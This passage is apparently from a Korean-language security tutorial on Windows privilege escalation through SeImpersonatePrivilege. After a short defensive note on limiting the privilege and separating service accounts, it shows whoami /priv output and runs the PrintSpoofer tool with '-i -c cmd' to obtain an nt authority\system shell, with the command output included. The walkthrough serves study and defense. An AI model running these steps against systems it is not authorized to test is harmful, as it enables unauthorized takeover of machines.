요청하는 사용자의 권한을 이용해 작업을 처리하는 것이 더 안전하고 권한 분리를 보장합니다.
이 권한을 통한 권한상승 공격을 방어하기 위해서는 필수 계정에만 할당하는 것이 중요하며
서비스 계정을 별도로 분리하여 엄격히 다루는 것이 중요합니다.
Practice
whoami /priv를 통해서 가진 권한 목록을 확인할 수 있으며
현재 사용자에게는 SeImpersonatePrivilege 권한이 있는 것이 확인됩니다.
C:\Windows\Temp>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
아래래 깃허브 링크를 통해서 실행파일을 설치한 뒤에 Windows 환경으로 옮긴후 실행해줍니다.
파일 실행 후에는 system 권한을 획득한 것을 확인할 수 있습니다.
PrintSpoofer64.exe -i -c cmd
C:\Windows\Temp>PrintSpoofer.exe -i -c cmd
PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system